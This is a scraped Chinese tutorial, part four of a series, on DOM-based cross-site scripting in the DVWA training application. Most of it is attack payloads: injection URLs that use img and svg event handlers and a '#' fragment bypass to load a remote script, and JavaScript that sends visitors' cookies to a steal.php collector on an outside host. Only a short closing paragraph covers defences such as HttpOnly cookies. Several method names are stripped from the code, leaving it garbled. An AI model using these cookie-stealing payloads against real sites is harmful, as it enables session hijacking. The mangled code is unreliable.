通过DVWA学习XSS(4)
时间:2019-08-27 15:57 来源:网络整理 作者:采集插件 点击:次
:8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Cimg%20src=#%20=%22var%20b=%20document.(%27%27);%20b.setAttribute(%27src%27,%27%27);document.getElementsByTagName(%27head%27)[0].(b);%22%3E 事件后执行js代码,通过js的dom操作创建标签加载远程脚本,下面是事件后执行的js代码,和上一节的一样
var b= document.(''); b.setAttribute('src','http://192.168.50.156/dvwaxss/cookie.js'); document.getElementsByTagName('head')[0].(b); 远程获取cookie脚本 var url = "http://192.168.50.156/dvwaxss/steal.php"; var postStr = "data="+document.cookie; var ajax = null; if (window.) { ajax = new (); } else if (window.ActiveXObject) { ajax = new ActiveXObject("Microsoft.XMLHTTP"); } else { ajax=null; } ajax.open("POST", url, true); ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); ajax.send(postStr);
同样svg标签的也可以,构造连接 :8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Csvg%20=%22var%20b=%20document.(%27%27);%20b.setAttribute(%27src%27,%27%27);document.getElementsByTagName(%27head%27)[0].(b);%22%3E
以上方法均可以绕过medium加载远程脚本获取网站用户cookie ###high级别### 在服务器后端判断,要求default的值必须为select选择菜单中的值,这里继续用上面的#符号绕过即可,构造payload :8080/DVWA-master/vulnerabilities/xss_d/?default=English#%3C%20src=%22%22%3E%3C/%3E%3C%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/%3E
加载远程脚本 $(document).ready(function(){ $.post("http://192.168.50.156/dvwaxss/steal.php",{data:document.cookie}); } ); 获取high级别的网站用户cookie 总结 通过对dvwa三种类型xss的学习,可以看出预防xss的方法不光要做到过滤一切用户有害输入,转义可能引起跨站漏洞的标签,最重要的是重http层做到防护,给cookie设置httponly属性,使cookie不能被java读取,才能有效防止用户cookie被盗用的问题 (责任编辑:admin) |



